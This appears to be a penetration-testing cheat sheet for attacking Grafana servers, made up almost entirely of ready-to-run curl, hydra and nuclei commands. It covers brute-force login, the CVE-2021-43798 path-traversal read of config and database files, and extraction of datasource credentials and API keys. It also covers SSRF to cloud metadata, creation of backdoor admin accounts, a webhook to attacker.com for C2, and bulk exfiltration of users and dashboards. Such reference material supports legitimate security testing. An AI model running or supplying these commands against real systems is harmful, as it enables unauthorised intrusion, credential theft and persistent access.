Skip to main content

Grafana

Connect

Using Web Browser​

The primary way to access Grafana is through its web interface.

Basic Web Access​

# HTTP access
http://target.com:3000

# HTTPS access (if configured)
https://target.com:3000

Login and Dashboard Access​

# Login page
http://target.com:3000/login

# Direct dashboard access
http://target.com:3000/d/dashboard-id/dashboard-name

Using Grafana API​

Grafana provides a comprehensive HTTP API for automation and integration.

Basic API Access​

# Check API version
curl http://target.com:3000/api/health

# Get organization info
curl http://target.com:3000/api/org

Authenticated API Access​

# With authentication (API key)
curl -H "Authorization: Bearer API_KEY" http://target.com:3000/api/dashboards/home

# With basic auth
curl -u admin:password http://target.com:3000/api/admin/settings

Using Grafana CLI​

If you have shell access to the Grafana server, you can use the grafana-cli tool.

Admin Operations​

# Reset admin password
grafana-cli admin reset-admin-password newpassword

Plugin Management​

# List plugins
grafana-cli plugins list-remote

# Install plugin
grafana-cli plugins install plugin-name

Recon

Service Detection with Nmap​

Use Nmap to detect Grafana installations and identify version information:

nmap -p 3000 -sV target.com

Identify the Grafana version through various API endpoints and HTTP headers.

Get Version Information​

# Get version from API
curl http://target.com:3000/api/health

# From login page
curl -s http://target.com:3000/login | grep -i "grafana"

# From HTTP headers
curl -I http://target.com:3000

Get Build Information​

# Get build info (may require auth)
curl -u admin:admin http://target.com:3000/api/admin/settings

Anonymous Access Check

Grafana can be configured to allow anonymous access, which may expose sensitive dashboards.

Test Anonymous Access​

# Check if anonymous access is enabled
curl http://target.com:3000/api/dashboards/home

# If returns data without auth, anonymous access is enabled

Check Configuration​

# Check configuration
curl http://target.com:3000/api/org

Enumeration

Dashboard Enumeration​

Dashboards contain metrics and can reveal infrastructure details, database queries, and system architecture.

List and Search Dashboards​

# List all dashboards (requires auth)
curl -u admin:password http://target.com:3000/api/search

# Search for specific dashboards
curl -u admin:password "http://target.com:3000/api/search?query=database"

Get Dashboard Details​

# Get dashboard details
curl -u admin:password http://target.com:3000/api/dashboards/uid/DASHBOARD_UID

# Export dashboard
curl -u admin:password http://target.com:3000/api/dashboards/uid/DASHBOARD_UID > dashboard.json

Datasource Enumeration

Datasources contain connection strings, credentials, and sensitive configuration.

List Datasources​

# List all datasources
curl -u admin:password http://target.com:3000/api/datasources

# Get datasource by ID
curl -u admin:password http://target.com:3000/api/datasources/1

Extract Credentials​

# Search for credentials in datasources
curl -u admin:password http://target.com:3000/api/datasources | \
jq -r '.[] | select(.password or .secureJsonData)'

# Datasources may contain:
# - Database credentials
# - API tokens
# - Connection strings
# - Internal IP addresses

User Enumeration​

Understanding user accounts and their permissions helps in privilege escalation and identifying admin accounts.

Organization Users​

# List all users (admin required)
curl -u admin:password http://target.com:3000/api/org/users

# Get current user
curl -u admin:password http://target.com:3000/api/user

Global User List​

# List users globally (admin)
curl -u admin:password http://target.com:3000/api/users

# User permissions
curl -u admin:password http://target.com:3000/api/user/orgs

Organization and Team Enumeration​

Organizations and teams control access to dashboards and datasources.

List Organizations​

# List organizations
curl -u admin:password http://target.com:3000/api/orgs

# Current organization
curl -u admin:password http://target.com:3000/api/org

List Teams and Members​

# Teams in organization
curl -u admin:password http://target.com:3000/api/teams/search

# Team members
curl -u admin:password http://target.com:3000/api/teams/1/members

Plugin Enumeration​

Plugins can introduce vulnerabilities and provide additional attack surface.

List Installed Plugins​

# List installed plugins
curl -u admin:password http://target.com:3000/api/plugins

# Get plugin details
curl -u admin:password http://target.com:3000/api/plugins/plugin-name/settings

Check Plugin Versions​

# Check for vulnerable plugins
curl -u admin:password http://target.com:3000/api/plugins | jq -r '.[].info.version'

Attack Vectors

Default Credentials​

Grafana's most common misconfiguration is unchanged default credentials.

Test Default Login​

# Default credentials
admin:admin

# Try login via API
curl -X POST http://target.com:3000/login \
-H "Content-Type: application/json" \
-d '{"user":"admin","password":"admin"}'
Web Interface Login​
# Web interface
# Navigate to http://target.com:3000/login
# Username: admin
# Password: admin

Brute Force Attack​

If default credentials don't work, you can attempt brute force attacks.

Using Hydra​

# Using hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt target.com http-post-form \
"/login:user=^USER^&password=^PASS^:F=Invalid username or password"

Custom Brute Force Script​

# Using custom script
for pass in $(cat passwords.txt); do
response=$(curl -s -X POST http://target.com:3000/login \
-H "Content-Type: application/json" \
-d "{\"user\":\"admin\",\"password\":\"$pass\"}")
if [[ $response != *"Invalid"* ]]; then
echo "[+] Found: admin:$pass"
break
fi
done

Path Traversal (CVE-2021-43798)​

Grafana versions 8.0.0-beta1 through 8.3.0 are vulnerable to arbitrary file read.

Exploit Path Traversal​

# Exploit path traversal
curl http://target.com:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

# Read Grafana configuration
curl http://target.com:3000/public/plugins/alertlist/../../../../../../../../etc/grafana/grafana.ini

# Read datasource credentials
curl http://target.com:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db

Automated Exploitation​

# Using nuclei
nuclei -u http://target.com:3000 -t cves/2021/CVE-2021-43798.yaml

SQL Injection in Data Sources​

If you can create or modify datasources, you can inject SQL to access databases.

Create Malicious Datasource​

# Create malicious MySQL datasource
curl -X POST http://target.com:3000/api/datasources \
-u admin:password \
-H "Content-Type: application/json" \
-d '{
"name": "Malicious DB",
"type": "mysql",
"url": "target-db:3306",
"database": "test",
"user": "root",
"secureJsonData": {
"password": "password"
}
}'

Query Through Grafana​

# Query database through Grafana
# Grafana acts as a proxy to internal databases

API Key Theft​

API keys provide programmatic access to Grafana and should be extracted if possible.

List and Extract API Keys​

# List API keys (admin required)
curl -u admin:password http://target.com:3000/api/auth/keys

Create and Use API Keys​

# Create new API key
curl -X POST http://target.com:3000/api/auth/keys \
-u admin:password \
-H "Content-Type: application/json" \
-d '{"name":"backdoor","role":"Admin"}'

# Use API key
curl -H "Authorization: Bearer API_KEY" http://target.com:3000/api/datasources

Post-Exploitation

Datasource Credential Extraction​

Extracting datasource credentials provides access to backend databases and services.

Extract via API​

# Get all datasources with credentials
curl -u admin:password http://target.com:3000/api/datasources | jq .

Extract from Database​

# Extract from grafana.db (if you have file access)
sqlite3 /var/lib/grafana/grafana.db "SELECT * FROM data_source;"

# Passwords are encrypted, but key is in grafana.ini
cat /etc/grafana/grafana.ini | grep secret_key

# Decrypt passwords (if you have the secret key)
# Grafana uses AES-256-CFB encryption

SSRF via Datasources​

Grafana datasources can be abused to perform SSRF attacks against internal services.

Create Internal Datasource​

# Create datasource pointing to internal service
curl -X POST http://target.com:3000/api/datasources \
-u admin:password \
-H "Content-Type: application/json" \
-d '{
"name": "Internal Service",
"type": "prometheus",
"url": "http://internal-service:9090",
"access": "proxy"
}'

Access Cloud Metadata​

# Query internal service through Grafana
# Access cloud metadata
curl -X POST http://target.com:3000/api/datasources \
-d '{"url":"http://169.254.169.254/latest/meta-data/"}'

Privilege Escalation​

If you have viewer access, you can escalate to admin through various methods.

Create Admin User​

# Create admin user (if you're already admin)
curl -X POST http://target.com:3000/api/admin/users \
-u admin:password \
-H "Content-Type: application/json" \
-d '{"name":"backdoor","login":"backdoor","password":"P@ssw0rd123!","role":"Admin"}'

Promote Existing Users​

# Promote existing user to admin
curl -X PATCH http://target.com:3000/api/org/users/USER_ID \
-u admin:password \
-H "Content-Type: application/json" \
-d '{"role":"Admin"}'

Persistence​

Establishing persistent access to Grafana.

Create Backdoor Accounts​

# Create backdoor admin account
curl -X POST http://target.com:3000/api/admin/users \
-u admin:password \
-H "Content-Type: application/json" \
-d '{
"name":"System Monitor",
"login":"sysmon",
"password":"ComplexP@ss123!",
"role":"Admin"
}'

Create API Keys and Webhooks​

# Create API key with admin role
curl -X POST http://target.com:3000/api/auth/keys \
-u admin:password \
-H "Content-Type: application/json" \
-d '{"name":"backup","role":"Admin","secondsToLive":31536000}'

# Create webhook notification channel for C2
curl -X POST http://target.com:3000/api/alert-notifications \
-u admin:password \
-H "Content-Type: application/json" \
-d '{
"name":"monitoring",
"type":"webhook",
"settings":{"url":"http://attacker.com/c2"}
}'

Data Exfiltration​

Export Dashboards and Datasources​

# Export all dashboards
for uid in $(curl -s -u admin:password http://target.com:3000/api/search | jq -r '.[].uid'); do
curl -u admin:password http://target.com:3000/api/dashboards/uid/$uid > dashboard_$uid.json
done

# Export all datasources (contains credentials)
curl -u admin:password http://target.com:3000/api/datasources > datasources.json

Export Users and Settings​

# Export users
curl -u admin:password http://target.com:3000/api/org/users > users.json

# Export organization settings
curl -u admin:password http://target.com:3000/api/org > org_settings.json

# Backup entire Grafana database
# If you have file access
cp /var/lib/grafana/grafana.db /tmp/stolen.db

Common Grafana API Endpoints

Default PathDescriptionSensitive
/etc/grafana/grafana.iniMain Grafana configuration fileYes – Contains configuration values, including secret_key, database settings, and authentication options
/var/lib/grafana/grafana.dbDefault SQLite database storing Grafana dataYes – Contains dashboards, users, API keys, alerts, and other application data
/var/lib/grafana/plugins/Directory containing installed Grafana pluginsMaybe – May contain vulnerable, custom, or unsigned plugins
/var/log/grafana/Grafana log filesYes – May expose errors, stack traces, queries, usernames, and other operational details
/usr/share/grafana/Grafana installation directory containing application filesNo – Primarily static application files and assets

Using Tools

ToolDescriptionPrimary Use Case
curlCommand-line HTTP clientInteract with Grafana APIs and test endpoints
Burp SuiteWeb security testing proxyIntercept, modify, and analyze HTTP requests/responses
nucleiTemplate-based vulnerability scannerDetect known Grafana CVEs and misconfigurations
Grafana CLIOfficial Grafana command-line utilityManage plugins, reset admin passwords, and perform administrative tasks
jqCommand-line JSON processorParse, filter, and format Grafana API responses
grafana-backupBackup and restore utilityExport dashboards, data sources, folders, and other Grafana resources